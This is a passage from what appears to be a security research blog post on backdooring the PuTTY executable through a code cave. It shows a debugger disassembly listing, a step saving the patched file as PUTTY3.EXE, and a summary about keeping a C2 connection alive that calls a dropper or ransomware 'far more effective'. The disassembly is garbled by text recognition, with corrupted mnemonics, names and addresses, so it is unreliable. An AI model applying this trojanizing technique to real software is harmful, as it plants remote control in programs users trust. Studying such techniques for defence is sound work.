0045CC0C	0000	add byte ptr ds:[eax].al	9 00454400	61 60	I puch 60	1
0045CC0E	0000	add byte ptr ds:[eax].a]	0 004J4AD0	I OH OU		
0045CC10	0000	add byte ptr ds:[eax],al	9 00454AD2	68 B07A4700	push putty.477AB0	
0045CC12	0000	add byte ptr ds:[eax],al	10 00454407	E9 09010000		
• 0045CC14	0000	add byte ptr ds:[eax],al	10 00454AD7	00210000	Call pully.450bc4	
0045CC16	0000	add byte ptr ds:[eax],al	11 00454ADC	BF 94000000	mov edi.94	edi:"LdrpInitializeProcess"
0045CC18	0000	add byte ptr ds:[eax],al	00454454	0007		11 HL 1 T 11 1 1 1 1 H
0045CC1A	0000	add byte ptr ds:[eax],al	12 00454AE1	BC/	mov eax,edi	edi: Larpinitializerrocess
0045CC1C	0000	add byte ptr ds:[eax],a]	18 004544F3	E8 BREAFFEF	call nutty 454540	
0045CC1E	0000	add byte ptr ds:[eax],al		1 20 001/11/1	f carr pacefrisisno	1
0045CC20	0000	add byte ptr ds:[eax],al	14			
• 0045CC22	0000	add byte ptr ds:[eax],al	15 64.69.68	R0 7A 47 00		
0045CC24	0000	add byte ptr ds:[eax],al	T2 04.00.00	D0-7A-47-00		
<						
x1=[c0000070	1=222					
outty2.exe:	SCBF8 #SCBF8					

We're done, save the file and give a new name PUTTY3.EXE

**Research summary**: That's to be expected, I'm experiencing problems that people should be aware of when the C2 connection needs to be active every time the target application is running; it's similar to a technique code injection on explore.exe process that needs to run every time to make an active C2 connection. The techniques used in this case are insufficient to establish a C2 connection through the use of code cave instead, implementing dropper/ransomeware is far more effective. For the next experiment, I'm going to use the same technique as before, but this time I'm going to use an injected code cave that will pop up calc.exe, which will run under the hood.

Update: Done.

### References

- https://en.wikipedia.org/wiki/Code\_cave
- https://www.codeproject.com/Articles/20240/The-Beginners-Guide-to-Codecaves
- https://www.elastic.co/blog/ten-process-injection-techniques-technical-surveycommon-and-trending-process